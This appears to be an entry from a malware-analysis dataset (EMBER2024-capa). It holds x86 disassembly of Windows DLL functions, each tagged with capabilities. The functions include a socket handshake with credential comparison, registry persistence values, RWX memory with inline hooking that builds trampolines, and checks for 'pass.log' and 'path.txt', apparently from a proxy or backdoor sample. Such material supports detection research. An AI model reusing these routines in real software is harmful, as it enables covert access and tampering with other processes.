joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017230
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x34], 0
push edi
je 0x10017246
call fcn.10016d00
cmp dword [esi + 0x2c], 0
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
je 0x1001728a
mov eax, dword [esi + 0x28]
cmp eax, 0xffffffff
jle 0x1001728a
mov ecx, dword [esi + 8]
mov edx, dword [esi]
imul ecx, eax
add ecx, dword [esi + 0xc]
push 0
push ecx
push edx
mov dword [esi + 0x2c], 0
call edi
mov eax, dword [esi]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x30]
push eax
push 1
push ecx
push edx
call ebx
add esp, 0x1c
cmp dword [esi + 0x38], 0
je 0x10017344
mov eax, dword [esi]
push 0
push 0
push eax
call edi
mov ecx, dword [esi]
push ecx
push 1
lea edx, [ebp - 0x20]
push 0x20
push edx
call dword [sym.imp.MSVCRT.dll_fread]
mov ecx, dword [esi + 4]
mov eax, ecx
and eax, 0x800000ff
mov word [ebp - 0x1f], 0x75f
mov byte [ebp - 0x1d], 0x1a
jns 0x100172cb
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1c], al
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
sar eax, 8
and eax, 0x800000ff
jns 0x100172ea
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1b], al
mov eax, ecx
cdq
and edx, 0xffff
add eax, edx
sar eax, 0x10
and eax, 0x800000ff
jns 0x10017309
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp - 0x1a], al
mov eax, ecx
cdq
and edx, 0xffffff
add eax, edx
sar eax, 0x18
and eax, 0x800000ff
jns 0x10017328
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [esi]
push 0
push 0
push ecx
mov byte [ebp - 0x19], al
call edi
mov edx, dword [esi]
push edx
push 1
lea eax, [ebp - 0x20]
push 0x20
push eax
call ebx
add esp, 0x38
mov ecx, dword [esi]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.MSVCRT.dll_free]
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x10017377
push eax
call edi
mov edx, dword [esi + 0x18]
push edx
call edi
mov eax, dword [esi + 0x1c]
push eax
call edi
mov ecx, dword [esi + 0x20]
push ecx
call edi
add esp, 0x10
mov edx, dword [esi + 0x24]
push edx
call edi
mov eax, dword [esi + 0x30]
push eax
call edi
push esi
call edi
mov eax, dword [0x10057d58]
add esp, 0xc
cmp eax, ebx
je 0x100173a4
push eax
call edi
add esp, 4
mov dword [0x10057d58], ebx
mov dword [0x10057d54], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100173b0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, eax
mov esi, ecx
test edi, edi
js 0x100174b2
cmp edi, dword [esi + 4]
jge 0x100174b2
cmp dword [esi + 0x10], 2
jle 0x100174b2
cmp dword [esi + 0x28], edi
je 0x1001741d
call fcn.10016de0
mov eax, dword [esi + 8]
imul eax, edi
add eax, dword [esi + 0xc]
push 0
push eax
mov eax, dword [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100174b2
mov ecx, dword [esi]
mov edx, dword [esi + 8]
mov eax, dword [esi + 0x30]
push ecx
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
cmp eax, 1
jne 0x100174b2
mov dword [esi + 0x28], edi
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx + 8]
mov edi, dword [esi + 0x30]
lea edx, [eax + 1]
cmp edx, dword [0x10057d54]
jle 0x1001744a
lea ecx, [eax + eax + 0xa]
mov eax, dword [0x10057d58]
mov dword [0x10057d54], ecx
call fcn.10016ce0
mov dword [0x10057d58], eax
mov eax, dword [esi + 0x18]
mov ecx, dword [eax + 8]
mov edx, dword [esi + 0x14]
mov eax, dword [edx + 8]
push ecx
mov ecx, dword [0x10057d58]
add eax, edi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edx, dword [esi + 0x18]
mov eax, dword [0x10057d58]
mov ecx, dword [edx + 8]
mov byte [eax + ecx], 0
add esp, 0xc
cmp byte [eax], 0x20
mov esi, eax
mov ecx, eax
jne 0x10017488
inc esi
cmp byte [esi], 0x20
je 0x10017482
mov dl, byte [esi]
test dl, dl
je 0x1001749b
sub esi, eax
mov byte [ecx], dl
mov dl, byte [esi + ecx + 1]
inc ecx
test dl, dl
jne 0x10017490
mov byte [ecx], 0
cmp ecx, eax
je 0x100174b4
dec ecx
cmp byte [ecx], 0x20
jne 0x100174b4
mov byte [ecx], 0
cmp ecx, eax
jne 0x100174a2
pop edi
pop esi
ret
xor eax, eax
pop edi
pop esi
ret
Function at 0x100184c0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
cmp byte [0x10057d70], 0
jne 0x100184d8
xor al, al
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_send]
push edi
push 0
push 2
push 0x10047dd8
push esi
call ebx
mov edx, 0x100
lea ecx, [ebp - 0x104]
call fcn.100183a0
mov edi, dword [sym.imp.WS2_32.dll_recv]
push 0
push 2
lea eax, [ebp - 0x104]
push eax
push esi
call edi
mov al, byte [ebp - 0x103]
mov byte [ebp - 1], al
test al, al
je 0x100185d8
cmp byte [ebp - 0x104], 1
jne 0x100185d8
push 0
movsx ecx, al
push ecx
lea edx, [ebp - 0x104]
push edx
push esi
call edi
test eax, eax
jle 0x100185d8
movsx eax, byte [ebp - 1]
mov cl, byte [0x10057d71]
push 0
push 1
lea edx, [ebp - 1]
push edx
push esi
mov byte [ebp + eax - 0x103], cl
call edi
test eax, eax
jle 0x100185d8
mov edx, 0x100
lea ecx, [ebp - 0x204]
call fcn.100183a0
movsx eax, byte [ebp - 1]
push 0
push eax
lea ecx, [ebp - 0x204]
push ecx
push esi
call edi
test eax, eax
jle 0x1001859b
movsx edx, byte [ebp - 1]
mov al, byte [0x10057d71]
mov byte [ebp + edx - 0x204], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea ecx, [ebp - 0x104]
push ecx
push 0x1004d9c8
call edi
test eax, eax
jne 0x100185d8
lea edx, [ebp - 0x204]
push edx
push 0x1004d8c0
call edi
test eax, eax
jne 0x100185d8
push eax
push 2
push 0x10047ddc
push esi
call ebx
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10018b10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, 4
test eax, eax
jne 0x10018b87
lea eax, [ebp - 4]
push eax
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], edi
call esi
test eax, eax
jne 0x10018b7c
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push 0x1005830c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp eax, dword [ebp - 8]
sbb eax, eax
neg eax
jne 0x10018bdf
lea ecx, [ebp - 8]
push ecx
push 0x101
push 0
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], edi
call esi
test eax, eax
jne 0x10018bd6
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 0x1005830c
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp ecx, dword [ebp - 4]
sbb eax, eax
neg eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10018bf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x10018c5a
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005830c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x10018c60
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x104
lea eax, [ebp - 0x314]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x10018cb6
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.10018b10
test eax, eax
jne 0x10018dc2
mov ecx, dword [ebp - 4]
push esi
push eax
push eax
push ecx
push 0x100188f0
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10018d1c
lea edx, [ebp - 8]
push edx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10018d1c
test byte [ebp - 8], 2
jne 0x10018d1c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [ebp - 4]
push eax
push 0x1004c708
push str.name_sport_u
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x210]
lea edx, [eax + 1]
pop esi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10018d73
push 0
push 1
sub eax, edx
push eax
lea edx, [ebp - 0x210]
push edx
push 1
lea eax, [ebp - 0x10c]
push eax
push str._home.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10018bf0
mov esp, ebp
pop ebp
ret
Function at 0x10018dd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10048cf0
push 0x10042890
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
rdtsc
xor ecx, eax
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x20]
push eax
push 0x40
push 8
mov ecx, dword [ebp + 0xc]
push ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
test eax, eax
je 0x10018fa1
cmp dword [ebp - 0x20], 0
je 0x10018fa1
push 0x40
push 0x3000
push 0x12
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10018f91
mov dword [ebp - 0x28], edi
lea edx, [ebp - 0x24]
push edx
push 0x40
push 0x12
push edi
call esi
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, dword [ebp - 0x24]
lea esi, [edi + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call edi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x68
push eax
push esi
call edi
inc esi
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp + 8]
push eax
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9c
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x81
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x74
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x24
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
mov ecx, dword [ebp - 0x1c]
push ecx
push esi
call edi
add esi, 4
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0x9d
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 0xc2
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
add eax, 4
push eax
push esi
call edi
inc esi
xor eax, eax
cmp dword [esi], eax
setne al
push eax
push esi
call edi
lea edx, [ebp + 8]
push edx
push ebx
push 0x12
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 4], 0
pushal
mov esi, dword [ebp + 0xc]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0x25ff9055
mov ecx, dword [ebp - 0x28]
lock cmpxchg8b qword ds:[esi]
popal
jmp 0x10018f73
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x20]
push edx
push 8
mov eax, dword [ebp + 0xc]
push eax
call esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10018fc0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov edi, ebx
test ebx, ebx
je 0x10019113
mov edx, edi
call fcn.10019310
add esi, eax
add edi, eax
cmp esi, 8
jb 0x10018fd8
push 0x40
push 0x3000
add esi, 8
push esi
push 0
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10019113
xor esi, esi
lea ebx, [ebx]
mov edx, ebx
call fcn.10019310
push eax
lea ecx, [edi + esi]
push ebx
push ecx
mov dword [ebp - 8], eax
call sub.MSVCRT.dll_memcpy
mov al, byte [edi + esi]
add esp, 0xc
cmp al, 0xe8
je 0x10019033
cmp al, 0xe9
jne 0x1001903d
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 1], ecx
cmp al, 0xeb
jne 0x10019069
mov dl, byte [edi + esi + 1]
add dl, bl
add dl, 2
movzx eax, dl
mov ecx, ebx
and ecx, 0xffffff00
add eax, ecx
sub eax, edi
sub eax, esi
sub eax, 5
mov byte [edi + esi], 0xe9
mov dword [edi + esi + 1], eax
add esi, 3
movzx edx, byte [edi + esi]
movzx eax, byte [edi + esi + 1]
shl dx, 8
or dx, ax
mov ecx, 0xfff0
and dx, cx
mov eax, 0xf80
cmp dx, ax
jne 0x10019095
mov ecx, ebx
sub ecx, edi
sub ecx, esi
add dword [edi + esi + 2], ecx
mov eax, dword [ebp - 8]
add esi, eax
add ebx, eax
cmp esi, 8
jb 0x10019010
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x40
push ecx
push edi
mov dword [edx], edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10019113
mov ebx, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10019113
add edi, esi
push edi
lea eax, [esi + ebx]
push eax
call fcn.10018dd0
mov ecx, dword [ebp + 0xc]
push ebx
push ecx
call fcn.10018dd0
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 0x10]
push edx
push eax
push esi
push ebx
call edi
mov edx, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push ebx
call edi
test eax, eax
je 0x10019113
mov edi, ebx
call fcn.10019130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100191c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
mov eax, 0x1004dac8
push 0
push 0
mov dword [0x1004dacc], eax
mov dword [0x1004dac8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0
push 0
push 0
push 0x10019230
push 0
push 0
mov dword [0x1004d9c4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10019223
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10019223
test byte [ebp - 4], 2
jne 0x10019223
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100199d0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0x118
lea eax, [ebp - 0x11c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [0x1004dad0], 0
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10019b12
mov eax, 2
cmp dword [ebp - 0x110], eax
jne 0x10019b12
mov cl, byte [ebp - 6]
cmp cl, 1
jne 0x10019a76
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x10019a56
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x10019a4b
lea eax, [ecx + 1]
jmp 0x10019aba
cmp ecx, 1
je 0x10019aba
cmp ecx, eax
jne 0x10019ab5
jmp 0x10019aba
cmp ecx, 6
jne 0x10019ab5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x10019a6a
lea eax, [ecx - 2]
jmp 0x10019aba
cmp eax, 1
jne 0x10019ab5
mov eax, 6
jmp 0x10019aba
cmp cl, al
je 0x10019a7f
cmp cl, 3
jne 0x10019ab5
mov ecx, dword [ebp - 0x11c]
cmp ecx, 5
jne 0x10019a97
cmp dword [ebp - 0x118], eax
jne 0x10019ab5
lea eax, [ecx - 2]
jmp 0x10019aba
cmp ecx, 6
jne 0x10019ab5
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x10019aab
lea eax, [ecx - 1]
jmp 0x10019aba
cmp eax, 1
mov eax, 7
je 0x10019aba
mov eax, dword [0x1004dad0]
lea edx, [eax + eax*4]
movzx eax, word [ebp - 0xc]
lea eax, [eax + edx*2]
lea ecx, [eax + eax*4]
add ecx, ecx
push str.kernel32.dll
mov dword [0x1004dad0], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10019b06
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10019b05
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
pop esi
cmp dword [ebp - 4], 0
je 0x10019b12
inc dword [0x1004dad0]
mov esp, ebp
pop ebp
ret

Function at 0x10019b20
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10019b30
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019b30
push 0x10059d78
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059d78
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019b54
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019b66
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
pop esi
cmp eax, 0x10
jne 0x10019bd3
lea eax, [ebp - 0x104]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019ba0
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10019e20
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x10019e30
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10019e30
push 0x10059e7c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059e7c
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10019e54
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10019e66
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10019e87
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x1001a2a0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10057d7c]
test eax, eax
je 0x1001a2b6
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001a150
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10057d7c], eax
test eax, eax
je 0x1001a2fb
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001a2fa
test byte [ebp - 4], 2
jne 0x1001a2fa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001b620
Capabilities:
Check if file exists
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001b668
nop
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39D44014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001b650
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001b699
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001b699
test byte [esp + 0xc], 2
jne 0x1001b699
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10057ea4]
test eax, eax
je 0x1001b6ab
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001b100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
mov dword [0x10057ea4], eax
call ebx
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10057a88]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x1001b6d0
push 0x10059f80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059f80
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001b6f1
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b701
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b720
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
je 0x1001b7f7
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10057a88]
mov byte [esp + eax + 0x10], cl
inc eax
test cl, cl
jne 0x1001b760
push 0x10059f80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x10059f80
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001b781
lea edi, [esp + 0x10]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001b791
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001b7b0
mov ecx, dword [str.path.txt]
mov edx, dword [0x10047ee8]
mov dword [eax], ecx
mov cl, byte [0x10047eec]
mov dword [eax + 4], edx
lea edx, [esp + 0x10]
push edx
mov byte [eax + 8], cl
call ebx
test eax, eax
jne 0x1001b7f7
push 0x10059f80
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x1004804c
push 0x10059f80
call fcn.100125c0
call fcn.1001b620
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret